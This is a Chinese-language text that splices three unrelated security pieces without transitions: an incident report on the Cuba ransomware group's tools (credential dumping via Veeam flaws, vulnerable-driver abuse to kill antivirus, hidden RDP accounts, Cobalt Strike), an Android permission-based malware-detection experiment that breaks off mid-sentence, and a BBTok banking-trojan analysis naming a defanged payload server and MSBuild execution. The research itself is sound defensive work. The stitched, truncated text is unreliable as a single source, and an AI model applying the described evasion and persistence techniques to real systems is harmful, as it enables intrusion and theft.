Veeam.exe是一個用C#編寫的定制數據轉儲程序,它利用Veeam備份和恢復服務中的安全漏洞連接到VeeamBackup SQL數據庫並獲取帳戶憑據。

19.png

Veeamp分析Veeamp利用以下Veeam漏洞:CVE-2022-26500、CVE-2022-206501、CVE--2022-26504。前兩個允許未經身份驗證的用戶遠程執行任意代碼,第三個允許域用戶執行相同的代碼。三個中的任何一個被利用後,惡意軟件會在控制面板中輸出以下內容:

使用者名稱;

加密的密碼;

解密的密碼;

Veeam憑據表中的用戶描述:組成員資格、權限等;

該惡意軟件並非cuba組織獨有,Conti和yanlowang種也會出現這些內容。

研究人員在SRV_Service上看到的活動與他們在SRV_STORAGE上使用Bughatch觀察到的類似:

20.png

SRV_Service上的Bughatch活動

與SRV_STORAGE的情況一樣,惡意軟件將三個文件放入臨時文件夾,然後以相同的順序執行這些文件,連接到相同的地址。

Avast Anti-Rootkit驅動程序在Bughatch成功建立了與C2的連接後,該組織使用了一種日益流行的技術:Bring Your Own Vulnerable Driver (BYOVD)。

21.png

利用易受攻擊的驅動程序

攻擊者在系統中安裝易受攻擊的驅動程序,然後將其用於各種目的,例如終止進程或通過權限升級到內核級別來逃避防禦。

攻擊者被易受攻擊的驅動程序所吸引,因為它們都在內核模式下運行,具有高級別的系統訪問權限。此外,擁有數字簽名的合法驅動程序不會在安全系統中引發任何危險信號,從而幫助攻擊者在更長時間內不被發現。

在攻擊過程中,惡意軟件在臨時文件夾中創建了三個文件:

aswarpot.sys:Avast的合法反rootkit驅動程序,有兩個漏洞:CVE-2022-26522和CVE-2022-206523,允許權限有限的用戶在內核級別運行代碼。

KK.exe:被稱為Burntcigar的惡意軟件。目前發現的文件是一個新的變體,它使用有漏洞的驅動程序來終止進程。

av.bat批處理腳本:一個幫助內核服務運行Avast驅動程序並執行Burntgigar的stager。

對BAT文件和样本數據的分析表明,av.BAT使用sc.exe實用程序創建一個名為“aswSP_ArPot2”的服務,在С\windows\temp\目錄中指定驅動程序的路徑,並將服務類型指定為內核服務。然後,BAT文件在同一sc.exe實用程序的幫助下啟動服務,並運行KK.exe,它連接到易受攻擊的驅動程序。

22.png

.bat文件的內容

Burntcigar在查看Burntcigar時,研究人員注意到的第一件事是PDB文件的路徑,其中包含一個名為“Musor”(俄語中“垃圾”的意思)的文件夾,這更表明cuba組織的成員可能會說俄語。

23.png

KK.exe PDB文件的路徑

找到的樣本是Burntcigar的新版本,在事件發生時安全系統無法檢測到。攻擊者顯然更新了惡意軟件,因為在之前的攻擊之後,許多供應商能夠很容易地檢測到舊版本運行的邏輯。

在下面示例的截屏中,關於要終止的進程的所有數據都是加密的,而舊版本公開顯示了攻擊者想要停止的所有進程的名稱。

24.png

Burntcigar新舊版本的比較

惡意軟件搜索與流行AV或EDR產品有關的進程名,並將其進程ID添加到堆棧中,以便稍後終止。

Burntgigar使用DeviceIoContol函數訪問易受攻擊的Avast驅動程序,將包含安全問題的代碼的位置指定為執行選項。該段代碼包含ZwTerminateProcess函數,攻擊者使用該函數終止進程。

25.png

Burntcigar的分析

之後,研究人員在Exchange服務器和SRV_STORAGE主機上發現了利用Avast anti-rootkit驅動程序的類似活動。在這兩種情況下,攻擊者都使用BAT文件安裝不安全的驅動程序,然後啟動Burntgigar。

26.png

相鄰主機上的BurntChigar活動

SRV_MAIL host (Exchange server)去年12月20日,客戶批准了研究人員將Exchange服務器添加到監控範圍的請求。主機一定是作為客戶網絡的入口點使用的,因為服務器缺少關鍵更新,而且它很容易受到初始訪問的影響。特別是,SRV_MAIL的ProxyLogon、ProxyShell和Zerologon漏洞仍未被修復。這就是為什麼研究人員認為攻擊者通過Exchange服務器滲透到客戶網絡的原因。

27.png

分析數據開始傳入

在SRV_MAIL上,SqlDbAdmin用戶顯示的活動與研究人員在以前的主機上觀察到的活動相同。

28.png

SqlDbAdmin的惡意活動

研究人員發現攻擊者使用合法的gotoassistui.exe工具在受感染的主機之間傳輸惡意文件。

GoToAssist是技術支持團隊經常使用的RDP支持實用程序,但在系統之間移動文件時,該應用程序經常被濫用以繞過任何安全防禦或響應團隊。

29.png

通過gotoassistui.exe發送惡意文件

研究人員還發現新的Bughatch樣本正在執行中。這些使用了略有不同的文件名、回調函數和C2服務器,因為研究人員的系統當時成功地阻止了舊版本的惡意軟件。

30.png

Bughatch活動

SqlDbAdminSqlDbAdmin是一個可疑的DLL addp.DLL,研究人員在一個受攻擊的主機上手動找到了它。

31.png

可疑動態庫

研究人員發現它使用WIN API函數NetUserAdd來創建用戶。名稱和密碼在DLL中進行了硬編碼。

32.png

addp.dll分析

當研究人員進一步研究該庫時,研究人員發現它使用RegCreateKey函數通過修改註冊表設置為新創建的用戶啟用RDP會話。然後,庫將用戶添加到Special Account註冊表樹中,以將其隱藏在系統登錄屏幕之外,這是一種有趣且少見的持久化技術。在大多數情況下,攻擊者在腳本的幫助下添加新用戶,而安全產品很少會遺漏這些腳本。

33.png

addp.dll分析

Cobalt Strike研究人員發現Exchange服務器上運行了一個可疑的DLL ion.DLL,該DLL是rundll32進程的一部分,具有異常的執行選項。起初,研究人員認為這種活動與之前在Bughatch中看到的類似。然而,進一步的分析表明,該庫實際上是一個Cobalt Strike。

34.png

執行可疑的ion.dll文件

當研究人員查看ion.dll代碼時,引起研究人員注意的是執行設置和使用Cobalt Strike配置的函數。該庫使用VirtualAlloc函數來分配進程內存,以便稍後執行Cobalt Strike Beacon負載。

35.png

對ion.dll的分析

所有的配置數據都是加密的,但研究人員確實找到了用於解密的函數。為了找到Cobalt Strike C2服務器,研究人員檢查了加載了ion.dll的rundll32內存轉儲,並使用與受害者主機相同的設置運行。

36.png

rundll32內存轉儲

找出C2的名稱有助於研究人員在監測數據中定位與該服務器的通信歷史。惡意軟件連接到C2後,它將兩個可疑文件下載到受感染服務器上的Windows文件夾中,然後執行這些文件。不幸的是,研究人員無法獲得這兩個文件進行分析,因為攻擊者未能在上一步禁用安全功能,這些文件被從受感染的主機上刪除。不過,研究人員確實相信,他們正在處理的是勒索軟件本身。

37.png

與攻擊者的C2服務器通信

客戶立即隔離了受影響的主機,並將事件轉發給卡巴斯基事件響應團隊,以便進一步調查和搜索可能的工件。這是研究人員最後一次在客戶系統中看到攻擊者的活動。由於客戶遵循了研究人員的建議和指示,並及時對事件做出了響應,主機避免了加密。

新惡意軟件研究人員發現VirusTotal包含cuba惡意軟件的新樣本,其文件元數據與上述事件中的文件元數據相同。其中一些樣本成功地躲過了所有網絡安全供應商的檢測。研究人員對每個樣本進行了分析。正如你從下面的屏幕截圖中看到的,這些是Burntcigar的新版本,使用加密數據進行反惡意軟件規避。研究人員已經制定了檢測這些新樣本的Yara規則。

38.png

新的惡意軟件樣本

BYOVD (Bring Your Own Vulnerable Driver)BYOVD,全稱為Bring your own vulnerable driver,即攻擊者向目標環境植入一個帶有漏洞的合法驅動程序,再通過漏洞利用獲得內核權限以殺死/致盲終端安全軟件等,這項技術最初主要被如Turla和方程式這樣的頂級APT組織所使用,而隨著攻擊成本的降低,其它攻擊組織也逐漸開始使用這項技術,以BYOVD為標籤進行檢索可以發現在更早些時候就已經有不同的攻擊組織在真實攻擊活動中使用此項技術

研究人員在調查該事件時觀察到了這種攻擊,隨著各種APT和勒索軟件組織將其添加到他們的武器庫中,這種攻擊目前越來越受歡迎。

Bring Your Own Vulnerable Driver (BYOVD)是一種攻擊類型,攻擊者使用已知包含安全漏洞的合法簽名驅動程序在系統內執行惡意操作。如果成功,攻擊者將能夠利用驅動程序代碼中的漏洞在內核級別運行任何惡意操作。

要理解為什麼這是最危險的攻擊類型之一,需要快速復習一下驅動程序是什麼。驅動程序是一種軟件,它充當操作系統和設備之間的中介。驅動程序將操作系統指令轉換為設備可以解釋和執行的命令。驅動程序的進一步用途是支持操作系統最初缺乏的應用程序或功能。從下圖中可以看到,驅動程序是介於用戶模式和內核模式之間的一層。

39.png

用戶模式和內核模式交互圖

在用戶模式下運行的應用程序控制系統的權限較少。他們所能訪問的只是一個與系統其他部分隔離和保護的虛擬內存區域。驅動程序在內核內存中運行,它可以像內核本身一樣執行任何操作。驅動程序可以訪問關鍵的安全結構並對其進行修改。這樣的修改使系統容易受到使用權限提升、禁用操作系統安全服務以及任意讀寫的攻擊。

2021年,Lazarus組織利用這一技術,通過濫用包含CVE-2021-21551漏洞的戴爾驅動程序,獲得了對內核內存的寫訪問權限,並禁用了Windows安全功能。

2021年,Dell 被爆出一個潛藏12年的驅動漏洞,CVE編號CVE-2021-21551,漏洞可能引發系統權限提升,預計超過數億Dell 台式機和筆記本電腦受到該漏洞的的影響。

CVE-2021-21551漏洞實際上是5個漏洞的集合,是Dell計算機在BIOS 更新過程中安裝和加載的驅動DBUtil 中的安全漏洞。

沒有針對合法驅動程序的萬無一失的防禦,因為任何驅動程序都可能被證明存在安全漏洞。微軟發布了一份針對此類技術的保護建議列表:

啟用管理程序保護的代碼完整性。

啟用內存完整性。

啟用驅動程序數字簽名驗證。

使用易受攻擊的驅動程序列表。

然而,研究表明,即使啟用了所有Windows保護功能,這些建議也無關緊要,而且這樣的攻擊無論如何都會發生。

為了對抗這種技術,許多安全供應商開始在他們的產品中添加一個自衛模塊,以防止惡意軟件終止進程,並阻止每一次利用易受攻擊的驅動程序的嘗試。研究人員的產品也具有這一功能,在事件中證明是有效的。

總結cuba組織使用了大量的公開和定制工具,並不斷通過最新的各種技術和方法,包括相複雜的技術和方法(如BYOVD)。預防這種複雜程度的攻擊需要能夠檢測高級威脅並保護安全功能不被禁用的複雜技術,以及有助於手動檢測惡意工件的大規模、持續更新的威脅知識庫。

本文中詳細介紹的樣本表明,對真實網絡攻擊的調查和事件響應,如管理檢測和響應(MDR),是有關惡意策略、技術和程序的最新信息的來源。特別是,在這次調查中,研究人員發現了cuba惡意軟件的新樣本和以前未被發現的樣本,以及表明至少有一些組織成員會說俄語的工件。

問題描述

Android 市場的開放性導致了惡意軟件(Malware)的盛行。據360 安全中心報告,每天都能截獲數万個Android 惡意軟件,使得Android Malware Detection 成為研究人員熱議的話題。傳統的Android 惡意軟件檢測方法主要依賴於基於規則或簽名的檢測機制,其中使用yara 實現相對簡單。但這種基於簽名的檢測方法是信息密集型的,需要持續收集新的簽名,而基於規則的實現則極為複雜,極易導致誤報或讓狡猾的惡意軟件逃過檢測。

隨著機器學習的流行,越來越多的研究人員開始嘗試利用機器學習來實現惡意軟件的檢測。核心思路是從Android 的APK 文件中提取信息,用於訓練模型,隨後預測其他APK 文件是否為惡意軟件。根據信息提取方法的不同,主要分為兩類:一類是通過靜態分析,從APK 中提取permissions、intents、receivers 等組件,以及通過反編譯提取代碼調用,利用這些信息進行模型訓練;另一類是通過實際安裝運行APK,攔截網絡請求和監聽系統API 調用來獲取數據,作為模型訓練的基礎。

在探討此問題時,由於“Incinerator”項目的動態檢測功能尚未完全實現,我們暫時缺乏研究動態分析的條件,因此選擇採用靜態分析方法進行研究。

當前主流方案

基於靜態分析的機器學習訓練方案主要包括以下幾類:

權限提取訓練:

從AndroidManifest.xml中提取permissions信息進行模型訓練。

綜合信息提取訓練:

從AndroidManifest.xml中提取permissions、intents、receivers等信息,並通過反編譯從APK 中基於規則抽取Android 系統API 調用等信息進行模型訓練。

整體APK 訓練:

將整個APK 文件作為機器學習訓練的輸入,包括將APK 文件的二進製字節流作為輸入,或通過反編譯抽取opcode作為訓練輸入。

據文獻報導,這些方案可實現90% 以上的準確率。尤其是方案3,準確率在92%-93% 之間,而方案1 和2 在多數研究中可達到95% 以上的準確率。

我們試圖重現文獻中的方案,首先著手基於permissions的方案進行驗證。

數據源:

惡意軟件集合:

a. 來自威脅情報公司abuse.ch 的Malware APK 集合2000 個(簡稱MB)

b. VirusShare 2020/2021/2022 的Malware 集合(簡稱VS2020/VS2021/VS2022)

良性軟件集合:

a. 從應用寶下載的APK 10000 個

b. 從APKPURE 下載的APK 10000 個

訓練方法

通過靜態分析從APK 的AndroidManifest.xml中抽取AOSP (Android Open Source Project) permissions,並通過One-hot Encoding 的方式輸入模型進行訓練。模型選擇採用傳統的機器學習二分類模型如隨機森林、SVM 等進行訓練。經測試,隨機森林的效果最佳,準確率可達98%。

我們選擇應用寶的APK 作為良性樣本,VS2022 作為惡意軟件樣本,進行訓練。訓練數據如下:

模型PrecisionRecallFPR隨機森林0.9830.9830.056SVM0.9810.9770.063

然後我們對其他數據集進行測試驗證:

數據集PrecisionRecallFPRAPKPure0.0NAN0.59MB1.00.95NANVS20201.00.96NANVS20211.00.94NAN

在進行APKPure 數據集的驗證時,發現模型的假陽性率異常高,超過了50%,這表明模型在不同數據集的交叉驗證上表現不佳。同時,在MB、VS2020、VS2021 數據集上得到的高準確率由於高假陽性率而變得無意義。

為了深入理解模型的預測表現,我們選擇使用LinearSVM(線性支持向量機)來解釋模型的預測結果,並嘗試探討可能出現的問題:

在訓練過程中,共有265 個權限被用於訓練模型。我們重點分析了對於Malware 預測結果影響最大的30 個權限:

01.9507425950717683android.permission.READ_SMS

11.6805547441380115android.permission.SEND_SMS

21.5291784053142392android.permission.RECEIVE_SMS

31.281383891333467android.permission.WRITE_SMS

41.1385944832617678android.permission.GET_DETAILED_TASKS

51.0870145778775504android.permission.MANAGE_USERS

60.9822953162458009android.permission.SET_TIME_ZONE

70.9815855293627985android.permission.REQUEST_DELETE_PACKAGES

80.8705538278525148android.permission.ACCOUNT_MANAGER

90.7701851337780519android.permission.ACCESS_CACHE_FILESYSTEM

100.7493889020376178android.permission.PERSISTENT_ACTIVITY

110.742267985802697android.permission.SET_PREFERRED_APPLICATIONS

120.6575763216374741android.permission.USE_SIP

130.6423455602781643android.permission.MODIFY_PHONE_STATE

140.5733719308777389android.permission.READ_CALL_LOG

150.5713221448442122android.permission.WRITE_SECURE_SETTINGS

160.5177117115666185android.permission.CLEAR_APP_CACHE

170.5013751180995185android.permission.WRITE_SYNC_SETTINGS

180.47540432455574055android.permission.INJECT_EVENTS

190.450576746748121android.permission.BIND_ACCESSIBILITY_SERVICE

200.4497437629117625android.permission.READ_SYNC_STATS

210.40721040702182304com.android.alarm.permission.SET_ALARM

220.3958974436391258android.permission.GET_PACKAGE_SIZE

230.35828369132005317android.permission.TRANSMIT_IR

240.3538089622374305android.permission.CHANGE_COMPONENT_ENABLED_STATE

250.3303834311984685android.permission.STATUS_BAR

260.3277728921018696android.permission.WRITE_USER_DICTIONARY

270.31322691738916597android.permission.SET_DEBUG_APP

280.28600828593282673android.permission.INSTALL_PACKAGES

290.27804088205285526android.permission.SHUTDOWN

導致Benign 結果最重要的30 個權限:

1-1.0280830288092226android.permission.FORCE_STOP_PACKAGES

2-1.0244749163270055android.permission.DELETE_CACHE_FILES

3-0.9235183435775582android.permission.READ_PRIVILEGED_PHONE_STATE

4-0.7975588094210508android.permission.USE_BIOMETRIC

5-0.7691538868495551android.permission.READ_CELL_BROADCASTS

6-0.7288571523071693android.permission.REQUEST_INSTALL_PACKAGES

7-0.7278186994140812android.permission.WRITE_CALL_LOG

8-0.7029898754031535android.permission.READ_SEARCH_INDEXABLES

9-0.6832562629713737android.permission.ACCESS_NOTIFICATION_POLICY

10-0.6442707037030093android.permission.BIND_NOTIFICATION_LISTENER_SERVICE

11-0.6229441323892875android.permission.CAPTURE_AUDIO_OUTPUT

12-0.5951302503005503android.permission.REORDER_TASKS

13-0.552113274404841android.permission.FACTORY_TEST

14-0.5512329811397917android.permission.CAMERA

15-0.5415431826751977android.permission.PACKAGE_USAGE_STATS

16-0.5373788445105623android.permission.READ_SYNC_SETTINGS

17-0.5300427083556158android.permission.ACCESS_WIFI_STATE

18-0.48952375397337794android.permission.READ_PHONE_NUMBERS

19-0.4822239255635727android.permission.STOP_APP_SWITCHES

20-0.4525220364959383android.permission.WRITE_MEDIA_STORAGE

21-0.4133049145725493com.android.browser.permission.WRITE_HISTORY_BOOKMARKS

22-0.3902532535519829android.permission.CAPTURE_VIDEO_OUTPUT

23-0.34681147328619505android.permission.READ_FRAME_BUFFER

24-0.34134222449779317android.permission.WRITE_GSERVICES

25-0.3335042039412585android.permission.BIND_APPWIDGET

26-0.3263774109427998android.permission.AUTHENTICATE_ACCOUNTS

27-0.3136298914538836android.permission.NFC

28-0.3000955825422318android.permission.READ_EXTERNAL_STORAGE

29-0.2846046321402758android.permission.CALL_PRIVILEGED

30-0.28338090002182315android.permission.READ_CALENDAR

在表格中,第二列顯示了通過SVM 計算得到的權重值。由於在標籤設定中,Malware 被標記為1,而Benign 被標記為0,且訓練數據的格式是0,1,1,0,0,1,1,0,這樣的布爾值,因此,當權重為正時,該權重在計算Malware 的預測結果時具有較高的重要性;權重值越大,其重要性越高。相反,當權重為負時,該權重在計算Benign 的預測結果時具有較高的重要性;權重值越小,其重要性越高。

通過分析這些權限及其功能,我們發現Malware 相關的權限通常比Benign 相關的權限具有更高的危害性。在一定程度上,這種模型的設計是合理的。例如,模型成功識別了與SMS 相關的權限主要與Malware 相關,並賦予了較高的權重,這意味著,基本上,一個APP 如果包含SMS 權限,就非常可疑。實際上,普通的APP 不應該請求此類權限,因為短信管理通常是系統APP 的職責。

然而,這裡存在一個問題:權限的存在是因為Android 系統認為某些行為可能不妥,需要用戶確認。所以,理論上,所有需要請求的權限都有可能對用戶造成損害。因此,沒有請求權限應該被視為一個加分項。但在二分類機器學習的情境下,模型會做出區分,因為Benign 類別的存在意味著一定會有一部分權限被視為支持Benign 的證據。

現在我們來分析為什麼會出現如此高的假陽性率: 我們使用LinearSVC 來解釋模型的預測結果,並對一些具有假陽性的權限信息進行分析:

0.1773649887447295android.permission.WAKE_LOCK

0.01285824377030036android.permission.INTERNET

-0.1357928094523775android.permission.ACCESS_NETWORK_STATE

0.43102404170044467com.android.alarm.permission.SET_ALARM

0.1773649887447295android.permission.WAKE_LOCK

0.14741402851800423android.permission.SYSTEM_ALERT_WINDOW

0.02740438240042149android.permission.FOREGROUND_SERVICE

0.01285824377030036android.permission.INTERNET

-0.1357928094523775android.permission.ACCESS_NETWORK_STATE

-0.15043626374678254android.permission.WRITE_EXTERNAL_STORAGE

-0.1975995718519041android.permission.CHANGE_WIFI_STATE

-0.20461138790573433android.permission.VIBRATE

-0.511067438637911android.permission.ACCESS_WIFI_STATE

0.1773649887447295android.permission.WAKE_LOCK

0.02740438240042149android.permission.FOREGROUND_SERVICE

0.01285824377030036android.permission.INTERNET

-0.1357928094523775android.permission.ACCESS_NETWORK_STATE

-0.33867385510052594android.permission.READ_EXTERNAL_STORAGE

-0.511067438637911android.permission.ACCESS_WIFI_STATE

而真陽的權限信息:

0.32757400447767016android.permission.INSTALL_PACKAGES

0.2870058866311678android.permission.READ_PHONE_STATE

0.1773649887447295android.permission.WAKE_LOCK

0.1545767541451571android.permission.FLASHLIGHT

0.14613075920332474android.permission.BLUETOOTH_ADMIN

0.140268653568319android.permission.GET_ACCOUNTS

0.08641386050999389android.permission.MOUNT_UNMOUNT_FILESYSTEMS

0.06460516872049353android.permission.ACCESS_COARSE_LOCATION

0.01285824377030036android.permission.INTERNET

-0.009804892771664459android.permission.ACCESS_FINE_LOCATION

-0.12321341834571817android.permission.READ_LOGS

-0.1357928094523775android.permission.ACCESS_NETWORK_STATE

-0.15043626374678254android.permission.WRITE_EXTERNAL_STORAGE

-0.15994619600450963android.permission.CHANGE_NETWORK_STATE

-0.16005902734200772android.permission.WRITE_SETTINGS

-0.1975995718519041android.permission.CHANGE_WIFI_STATE

-0.20461138790573433android.permission.VIBRATE

-0.23536025455979454android.permission.CALL_PHONE

-0.24802834827531783android.permission.ACCESS_LOCATION_EXTRA_COMMANDS

-0.30018060973660377android.permission.BLUETOOTH

-0.33867385510052594android.permission.READ_EXTERNAL_STORAGE

-0.511067438637911android.permission.ACCESS_WIFI_STATE

-0.5625902678304402android.permission.CAMERA

-0.7242676191415552android.permission.REQUEST_INSTALL_PACKAGES

通過分析,我們發現了一個模式:擁有較少權限的APK 往往會被誤判,而權限較多的APK 基本能得到正確的預測。深入探究後,我們理解到這種現象的出現主要是由於APKPure 樣本中大多數APK 的權限數量較少,而我們的訓練模型主要基於權限較多的應用寶APK 樣本。因此,預測誤差的產生在一定程度上是由樣本差異導致的。

為了解決這個問題,一個直接的方法是將APKPure 的數據也納入訓練過程,以增強模型的泛化能力和預測準確性。

我們採取了以下措施:從APKPure 樣本中隨機抽取一半,即5000 個APK,同時從應用寶樣本中隨機抽取一半,約5000 個APK,一同用於模型的訓練。然後,我們使用這個新訓練得到的模型來預測未參與訓練的樣本。結果顯示,新模型的預測準確率得到了顯著提高。

模型PrecisionRecallFPR隨機森林0.9940.9670.008SVM0.9940.9670.008

然後我們對其他數據集進行測試驗證:

數據集PrecisionRecallFPRAPKPure 未參與訓練的樣本0.0NAN0.018MB1.00.878NANVS20201.00.92NANVS20211.00.89NAN

假陽性率已降至可接受的水平。這個實驗揭示了一個重要的現象:在訓練集上獲得理想的結果相對容易,但在現實世界中準確預測卻可能面臨挑戰。無人能保證所收集的樣本完美地反映了現實世界的情況,而我們的目標是識別那些真正與惡意軟件(Malware)相關的特徵。因此,我們決定嘗試探索其他可能的解決方案。

1. 基於 Intents 和 Receivers 的訓練

隨後,我們擴展了特徵集,加入了從AndroidManifest.xml中提取的intents和receivers信息進行訓練,然而,這並沒有提高模型的準確率。

2. 基於系統 API 調用的訓練

我們進一步嘗試提取APK 中的所有系統API 調用,將其轉換為適合卷積神經網絡(CNN)的格式,並通過CNN 來訓練模型。在訓練集上,模型達到了令人滿意的97% 的準確率,但在數據集交叉驗證時,表現仍然不盡如人意。

在這過程中,我們遇到了幾個問題:

API 調用頻率的不明顯差異: 最初,我們通過反編譯提取了所有出現過的API 調用,卻發現這些API 的調用頻率並沒有明顯差異。例如,我們原本認為accessibilityservice 的調用明顯與惡意軟件相關,卻發現在良性軟件中也頻繁出現。後來我們了解到,這主要是因為大多數APK 都依賴於android 這個庫,而該庫中包含了大量的系統API 調用。由於Malware 和Benign APK 都依賴於大量的第三方庫,這些庫中存在大量的系統API 調用,使得我們難以從系統API 調用的統計結果中區分Malware 和Benign。即便我們使用了incinerator 的SCA 分析功能來檢測和剔除這些第三方庫,結果仍然不盡如人意。

第三方庫的干擾: 我們發現,很少有研究考慮到第三方庫的干擾,並提出剔除第三方庫的具體方案。如果不剔除這些庫,基於靜態分析的方法幾乎毫無意義,因為靜態抽取會抽取出大量未被調用的API

微信截图_20230923224318.png

Check Point Research研究人員最近在拉丁美洲發現了一個活躍活動,該活動正在操作和部署BBTok銀行軟件的新變體。在這項研究中,我們會介紹新發現的攻擊鏈,這些攻擊鏈使用了一種獨特的Living off the land Binaries組合,所以,儘管BBTok銀行軟件至少從2020年開始活躍,但時至今日,被檢測到的概率還是很低。在分析該活動時,研究人員發現了一些攻擊者在攻擊中使用的服務器端資源,目標是巴西和墨西哥的數百名用戶。

服務器端組件負責提供可能通過網絡釣魚鏈接傳播的惡意有效負載。我們已經觀察到相同的服務器端腳本和配置文件的多次迭代,這些腳本和配置文件展示了BBTok銀行軟件部署方法隨著時間的推移而演變的過程。這我們得以一窺攻擊者尚未實現的攻擊媒介,並追踪用於維持此類操作的源代碼的起源。

我們將在本文重點介紹用於傳播銀行軟件的有效負載服務器的一些服務器端功能,它們可以為每個受害者產生獨特的有效負載。

發現過程BBTok異常活躍,針對巴西和墨西哥的用戶,採用多層地理圍欄來確保受攻擊的設備僅來自這些國家。

自2020年BBTok最後一次公開報導以來,運營商的技術、戰術和程序(TTPs)發生了重大變化,增加了額外的混淆層和下載器,從而使檢測率降到最低。

BBTok銀行有一個專門的功能,可以復制40多家墨西哥和巴西銀行的界面,並欺騙受害者將其雙重身份驗證代碼輸入他們的銀行賬戶或輸入他們的支付卡號。

新識別的有效負載是由自定義服務器端應用程序生成的,該應用程序負責根據操作系統和位置為每個受害者生成唯一的有效負載。

對有效負載服務器端代碼的分析顯示,攻擊者正在積極維護不同版本Windows的多樣化攻擊鏈,這些鏈使用各種各樣的文件類型,包括ISO, ZIP, LNK, DOCX, JS和XLL。

攻擊者在他們的武器庫中添加開源代碼、來自黑客論壇的代碼和新的漏洞(例如Follina)。

BBTok銀行軟件歷史BBTok銀行軟件於2020年首次被披露,通過無文件攻擊部署在拉丁美洲。其功能非常齊全,包括枚舉和終止進程、鍵盤和鼠標控制以及操作剪貼板內容。除此之外,BBTok還包含經典的銀行木馬功能,模擬在墨西哥和巴西運營的各種銀行的虛假登錄頁面。

自從首次被公開披露以來,BBTok運營商已經採用了新的https,同時仍然主要利用帶有附件的網絡釣魚電子郵件進行初始攻擊。最近,我們看到了銀行軟件通過網絡釣魚鏈接傳播的跡象,而不是作為電子郵件本身的附件。

在訪問惡意鏈接時,會將ISO或ZIP文件下載到受害者的計算機上,這些文件包含一個啟動攻擊鏈的LNK文件,在打開一個誘餌文件的同時,導致銀行軟件的部署。雖然乍一看,這個過程似乎很簡單,但幕後操作非常複雜。

在分析這些新發現的鏈接時,研究人員發現了用於傳播惡意軟件的內部服務器端資源。很明顯,攻擊者保持了廣泛的攻擊鏈,每次點擊都根據需要生成,並根據受害者的操作系統和位置進行定制。

BBTok銀行攻擊BBTok為其運營商提供了廣泛的功能,從遠程命令到經典的銀行木馬功能,BBTok可以復制多家拉美銀行的界面。其代碼引用了墨西哥和巴西的40多家主要銀行,如花旗銀行、豐業銀行、Banco Itaú和匯豐銀行。銀行軟件通過遍歷打開的窗口和瀏覽器選項卡的名稱,搜索銀行名稱,來尋找受害者是這些銀行客戶的跡象。

其默認目標顯然是西班牙對外銀行(BBVA),其默認的虛假界面旨在復制其外觀。這些虛假的界面冒充合法機構,誘使毫無戒心的用戶洩露個人和財務信息,該功能的重點是誘騙受害者輸入作為銀行賬戶密碼,並接管受害者的銀行賬戶。

1.png

嵌入BBTok 銀行軟件中的虛假接口示例

BBTok是用Delphi編寫的,它使用可視化組件庫(VCL)來創建表單,毫不誇張地說,這些表單形成了這些虛假的界面,這使得攻擊者可以動態、自然地生成適合受害者電腦屏幕的界面和受害者銀行的特定形式而不會引起懷疑。作為銀行軟件的默認目標銀行,西班牙對外銀行(BBVA)將其接口存儲在一個名為“TFRMBG”的表單中,除了銀行網站,攻擊者也開始在受攻擊的設備上搜索有關比特幣的信息,積極尋找”bitcoin”, ”Electrum”和”binance”等字符串。

除此之外,BBTok還可以安裝惡意瀏覽器擴展或註入名為“rpp.dll”的DLL來進一步控制受攻擊的系統,並可能提高其欺騙受害者的能力。

值得注意的是,該攻擊者採取了謹慎的方式所有的銀行活動都是在其C2服務器的直接命令下執行的,而不是在每個受攻擊的系統上自動執行。

負載服務器分析為了有效管理他們的活動,BBTok運營商創建了一個獨特的流程,由受害者點擊惡意鏈接啟動,該鏈接可能是通過釣魚電子郵件發送的。當受害者點擊鏈接時,會根據受害者的操作系統下載ZIP文件或ISO映像。這個過程對受害者來說是無感的,但服務器會根據請求中找到的參數生成唯一的有效負載。

2.png

BBTok攻擊中使用的服務器端組件

此過程在基於xampp的服務器上執行,包含三個基本組件:

一個PowerShell腳本,用於處理有效負載準備,並包含創建lure文檔的主要邏輯;

一個PHP代碼庫和數據庫,用於記錄和管理攻擊;

增強這些組件功能的輔助實用程序。

具體流程如下:

受害者向/baxar、/descargar或/descarga執行HTTP請求(這些路徑表明誘餌是西班牙語或葡萄牙語);

基於.htaccess文件,服務器使用descarga.php處理請求;

腳本利用文件db.php通過SQLite數據庫存儲有關請求的信息,包括受害者的信息;

Desarga.php調用ps_gen.ps1來生成一個自定義文檔,該文檔最終會傳遞給受害者。

傳入請求處理

PHP代碼庫由以下文件組成:

1.descarga/descargar.php:管理新的連接並向受害者的電腦提供引誘文檔。

2.db.php:生成並管理包含受害者詳細信息的SQLite數據庫。

3.generator.php:用於生成隨機鏈接、字符串和其他功能的實用程序類。

4.“Descarga”和“descargar”在西班牙語中翻譯為“download”。此文件包含感染過程的主要邏輯。腳本本身包含許多評論,其中一些是純西班牙語和葡萄牙語,這些評論暗示了攻擊者的來源。

腳本邏輯:

1.它根據ip-api.com檢查鏈接引用的受害者的地理位置,並將其存儲在文件中。如果受害者不是來自目標國家(例如,墨西哥或巴西),則HTTP連接立即以404消息結束。

3.png

2.如果受害者通過了檢查,則腳本解析用戶代理以獲取受害者的Windows操作系統版本。

4.png

3.然後,它將帶有受害者的國家/地區代碼和引誘文件名的用戶代理傳遞到PowerShell有效負載生成器腳本。

PowerShell負載生成器腳本ps_gen.ps1包含用於生成ZIP或ISO文件形式的文檔有效負載的主要邏輯。最新版本的代碼有很多失效的部分,這部分在過去可能是有效的,這表明它們包含額外的感染鍊和誘餌,我們發現了該文件的多個版本,其中一些可以追溯到2022年7月,這表明該活動已經進行了很長一段時間。

生成器腳本由descarga.php調用,使用帶有參數file_name、ver和cc的函數DownloadFile,這些對應於生成的文檔名稱、受害者的操作系統版本和受害者的國家代碼。

5.png

在觀察到的服務器迭代中使用的代碼部分基於兩個參數生成文檔有效負載:

受害者的國度:巴西或墨西哥;

從User-Agent中提取的操作系統:Windows 10或7;

根據結果,選擇惡意文檔的以下參數:

文件類型:Windows 10為ISO, Windows 7為ZIP;

下一階段使用的DLL文件的名稱根據目標國家的不同而變化:Trammy用於巴西,Gammy用於墨西哥。

該文檔包含一個鏈接:Windows 10中的LNK快捷圖標是Microsoft Edge使用的快捷圖標,Windows 7中的LNK快捷圖標是Google Chrome使用的快捷圖標。

最後的執行邏輯:對於Windows 10受害者,該腳本使用來自服務器216[.]250[.]251[.]196的名為dat.xml的文件執行MSBuild.exe,該文件還存儲下一階段的惡意DLL。對於Windows7,負載只是通過CMD執行下載相關的遠程DLL。

6.png

添加位置混淆

